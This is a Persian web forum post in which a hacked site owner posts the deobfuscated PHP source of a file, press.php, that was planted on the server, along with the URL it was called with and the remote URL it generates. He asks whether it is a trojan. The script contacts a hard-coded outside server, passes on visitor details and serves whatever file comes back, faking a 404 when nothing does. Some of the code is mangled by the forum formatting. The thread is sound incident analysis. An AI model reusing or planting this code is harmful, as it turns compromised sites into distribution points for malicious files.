• 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
اسکریپت تروژان!
#1
برای اولین بار هک شدم. فایلی به اسم press.php توی فولدر روت آپلود شده که هم encode شده هم obfuscate.
یه مقداری باهاش سر و کله زدم و سورسش رو در آوردم:
کد پی‌اچ‌پی:
error_reporting(0);
ini_set("display_errors"0);
$key 0;
$i 0;
foreach (
str_split($_SERVER["REQUEST_URI"]) as $letter) {
    
$key += ord($letter);
    
$i++;
}
if (!(
$i 10)) {
    
$i();
    exit();
}
$key ^=  $key;
$key += 32;
$key str_repeat(chr($key), 8);
function 
error_404() {
    
header("HTTP/1.1 404 Not Found");
    
$uri preg_replace("/(\?).*\$/"""$_SERVER["REQUEST_URI"]);
    
$content http_request_custom("http://" $_SERVER["SERVER_NAME"] . "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
    
$content str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"$uri$content);
    exit(
$content);
}
$ip "125.89.44.28";
$port "80";
$path "/fdn/entry.php";
$query = array();
$query["ip"] = getIp();
$query["path"] = "$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
$query["useragent"] = getUseragent();
$url "http://" convertIpToString(1048202089 ^ (ord($key[0]) + ord($key[1]) + (strstr(substr($_SERVER["REQUEST_URI"], -4), ".php") == FALSE 65 ip2long($ip)))) . ":" $port $path "?" http_build_query($query);
$content = @file_get_contents($url);
if (
strlen($content) < 10) {
    
error_404();
}
$content explode("\n"$content);
$filename array_shift($content);
$content implode("\n"$content);
if (
strstr($filename".html") === FALSE) {
    
$type "application/octet-stream";
    
header("Content-Type:" $type);
    
header("Content-Disposition: attachment; filename=" $filename);
    
header("Content-Length: " strlen($content));
}
echo 
$content;
exit();
function 
http_request_custom($params) {
    if (!
is_array($params)) {
        
$params = array("url" => $params"method" => "GET");
    }
    if (
$params["url"] == "") return FALSE;
    if (!isset(
$params["method"])) $params["method"] = (isset($params["data"]) && is_array($params["data"])) ? "POST" "GET";
    
$params["method"] = strtoupper($params["method"]);
    if (!
in_array($params["method"], array("GET""POST"))) return FALSE;
    
$url parse_url($params["url"]);
    if (!isset(
$url["scheme"])) $url["scheme"] = "http";
    if (!isset(
$url["path"])) $url["path"] = "/";
    if (!isset(
$url["host"]) && isset($url["path"])) {
        if (
strpos($url["path"], "/")) {
            
$url["host"] = substr($url["path"], 0strpos($url["path"], "/"));
            
$url["path"] = substr($url["path"], strpos($url["path"], "/"));
        } else {
            
$url["host"] = $url["path"];
            
$url["path"] = "/";
        }
    }
    
$url["path"] = preg_replace("/[\/]+/""/"$url["path"]);
    if (isset(
$url["query"])) $url["path"].= "?{$url['query']}";
    
$port = isset($params["port"]) ? $params["port"] : (isset($url["port"]) ? $url["port"] : ($url["scheme"] == "https" 443 80));
    
$timeout = isset($params["timeout"]) ? $params["timeout"] : 30;
    if (!isset(
$params["return"])) $params["return"] = "content";
    
$scheme $url["scheme"] == "https" "ssl://" "";
    
$fp = @fsockopen($scheme $url["host"], $port$errno$errstr$timeout);
    if (
$fp) {
        if (!isset(
$params["User-Agent"])) $params["User-Agent"] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
        
$request "{$params['method']} {$url['path']} HTTP/1.0\n";
        
$request .= "Host: {$url['host']}\n";
        
$request .= "User-Agent: {$params['User-Agent']}"\n";
        if (isset(
$params["referer"])) $request .= "Referer: {$params['referer']}\n";
        if (isset(
$params["cookie"])) {
            
$cookie "";
            if (
is_array($params["cookie"])) {
                foreach (
$params["cookie"] as $k => $v$cookie .= "$k=$v; ";
                
$cookie substr($cookie0, -2);
            } else 
$cookie $params["cookie"];
            if (
$cookie != ""$request .= "Cookie: $cookie\n";
        }
        
$request.= "Connection: close\n";
        if (
$params["method"] == "POST") {
            if (isset(
$params["data"]) && is_array($params["data"])) {
                foreach (
$params["data"] AS $k => $v$data .= urlencode($k) . "=" urlencode($v) . "&";
                if (
substr($data, -1) == "&"$data substr($data0, -1);
            }
            
$data .= "\n\n";
            
$request .= "Content-type: application/x-www-form-urlencoded\n";
            
$request .= "Content-length: " strlen($data) . "\n";
        }
        
$request .= "\n";
        if (
$params["method"] == "POST"$request .= $data;
        @
fwrite($fp$request);
        
$res "";
        
$headers "";
        
$h_detected false;
        while (!@
feof($fp)) {
            
$res .= @fread($fp1024);
            if (!
$h_detected && strpos($res"\n") !== FALSE) {
                
$h_detected true;
                
$headers substr($res0strpos($res"\n"));
                
$res substr($resstrpos($res"\n") + 4);
                if (
$params["return"] == "headers" || $params["return"] == "array" || (isset($params["redirect"]) && $params["redirect"] == true)) {
                    
$h explode("\n"$headers);
                    
$headers = array();
                    foreach (
$h as $k => $v) {
                        if (
strpos($v":")) {
                            
$fgebfn "v";
                            
$k substr($v0strpos($v":"));
                            
$v trim(substr($$fgebfnstrpos($v":") + 1));
                        }
                        
$headers[strtoupper($k) ] = $v;
                    }
                }
                
$soprnmivykr "params";
                if (isset(
$params["redirect"]) && $params["redirect"] == true && isset($headers["LOCATION"])) {
                    
$params["url"] = $headers["LOCATION"];
                    if (!isset(
$params["redirect-count"])) $params["redirect-count"] = 0;
                    if (
$params["redirect-count"] < 10) {
                        
$params["redirect-count"]++;
                        
$func __FUNCTION__;
                        return @
is_object($this) ? $this->$func($params) : $func($params);
                    }
                }
                if (
$params["return"] == "headers") return $headers;
            }
        }
        @
fclose($fp);
    } else return 
FALSE;
    if (
$params["return"] == "array"$res = array("headers" => $headers"content" => $res);
    return 
$res;
}
function 
getUseragent() {
    return 
$_SERVER["HTTP_USER_AGENT"];
}
function 
getReferer() {
    
$referer = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : "-";
    return 
$referer;
}
function 
convertIpToString($ip) {
    return 
long2ip($ip);
}
function 
getIp() {
    
$ip NULL;
    if (isset(
$_SERVER["REMOTE_ADDR"])) {
        
$ip $_SERVER["REMOTE_ADDR"];
    }
    if (
strpos($ip",") !== FALSE) {
        
$ips explode(","$ip);
        
$ip trim(array_pop($ips));
    }
    return 
$ip;

توی لاگ های سرور فقط یک جا این اسکریپت با uri زیر فراخوانی شده:
کد:
press.php?pizza=uIm6o+IzYVkPLIhU4NQ3irKiR2H9wW7x0KgSLeJk2PY
اسکریپت رو با این کوئری استرینگ تست کردم نتیجه این شد که آدرس زیر رو تولید می کنه و محتواش رو میخونه:
کد:
http://62.122.75.232:80/fdn/entry.php?ip={SITE IP}&path={ROOT PATH}press.php?pizza=uIm6o+IzYVkPLIhU4NQ3irKiR2H9wW7x0KgSLeJk2PY&useragent=Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:32.0)+Gecko/20100101+Firefox/32.0
(به جای {SITE IP} آی پی سایت و به جای {ROOT PATH} آدرس روت قرار میگیره)
پس از اینکه محتوا رو خوند اونو با مایم تایپ application/octet-stream سرو میکنه (که احتمالن csv باشه)

این مساله چندتا سوال برام ایجاد کرده که اگه دوستان محبت کنن و مشارکت کنن مطرح میکنم. (این تاپیک میتونه یه جور آموزش باشه برا دوستان کم تجربه ای مثل من برا سر و کله زدن با مشکلات امنیتی)
مهمترین سوالم اینه که این اسکریپته یه جور تروژانه؟
چرا باید یه بابایی از هاست من برا خوندن و سرو کردن فایلی استفاده کنه؟

---
ویرایش: عنوان ارسال اصلاح شد oia
  پاسخ
تشکر شده توسط :


پیام‌های این موضوع
اسکریپت تروژان! - توسط itstaghi - ۱۳۹۳ آذر ۰۶, ۱۲:۵۰ ب.ظ
RE: هک شدم - توسط webnevesht - ۱۳۹۳ آذر ۰۶, ۰۷:۳۴ ب.ظ
RE: هک شدم - توسط itstaghi - ۱۳۹۳ آذر ۰۷, ۰۶:۲۴ ب.ظ
RE: هک شدم - توسط Reza - ۱۳۹۳ آذر ۰۸, ۰۲:۵۰ ب.ظ
RE: هک شدم - توسط itstaghi - ۱۳۹۳ آذر ۰۸, ۰۸:۳۸ ب.ظ
RE: هک شدم - توسط Reza - ۱۳۹۳ آذر ۰۸, ۱۱:۵۴ ب.ظ

پرش به انجمن:


کاربران در حال بازدید این موضوع: 1 مهمان